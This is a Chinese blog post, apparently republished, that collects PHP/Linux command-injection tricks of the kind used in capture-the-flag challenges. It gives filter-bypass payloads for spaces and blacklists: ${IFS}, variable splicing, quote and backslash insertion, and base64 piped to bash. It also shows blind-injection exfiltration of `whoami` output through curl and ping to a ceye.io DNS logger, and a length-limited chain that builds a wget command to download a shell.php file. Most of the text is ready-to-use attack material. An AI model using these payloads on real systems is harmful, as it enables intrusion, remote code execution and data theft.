浅析php命令执行
Posted 不上王者不改名
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅析php命令执行相关的知识,希望对你有一定的参考价值。
总结一下自己在命令执行这一方面收获的一些小技巧
Linux读取文件的一些命令
cat 从第一行开始,显示文件的所有内容
tac 从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head 只显示前几行
tail 只显示后几行
nl 类似于cat -n,显示时输出行号
linux下的一些绕过方式
- 过滤了空格
可以使用${IFS}来进行绕过
echo${IFS}123456
读取文件的时候可以使用重定向符号
cat<>filename
cat<filename
- 黑名单绕过
使用拼接法
a=l;b=s;$a$b
执行的就是ls
利用base64编码
echo "d2hvYW1pCg=="|base64 -d
整体用反单引号包一下,我这边是markdown语法。
echo "d2hvYW1pCg=="|base64 -d|bash
使用单双引号
ca\'\'t flag
ca""t flag
ca\'\'t fl\'\'ag
使用反斜线
ca\\t fl\\ag
Linux自带的一些字符
绕过过滤分隔符号
Linux自带的三种分隔符号
; || &&
${PS2}代表">"
${PS4}代表"+"
${IFS}代表字段分隔符
${9}代表空字符串
可以使用
%0a %0d ; ${IFS} &
绕过
命令终止符号
%00 %20#
无回显命令执行
反弹shell(nc啦,msf啦这里面不在赘述)
dns管道解析
在http://ceye.io/records/http
注册一个账号就行了,看一下自己的dns

执行
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
curl `whoami`.i96tvv.ceye.io
在看一下dns的解析记录

限制了长度
1>wget\\
1>域名.\\
1>com\\
1>-O\\
1>she\\
1>ll.p\\
1>p
ls>a
sh a
利用文件名进行命令执行6
以上是关于浅析php命令执行的主要内容,如果未能解决你的问题,请参考以下文章
浅析php7.4中自定义对象序列化机制和全新拓展方式FFI的漏洞问题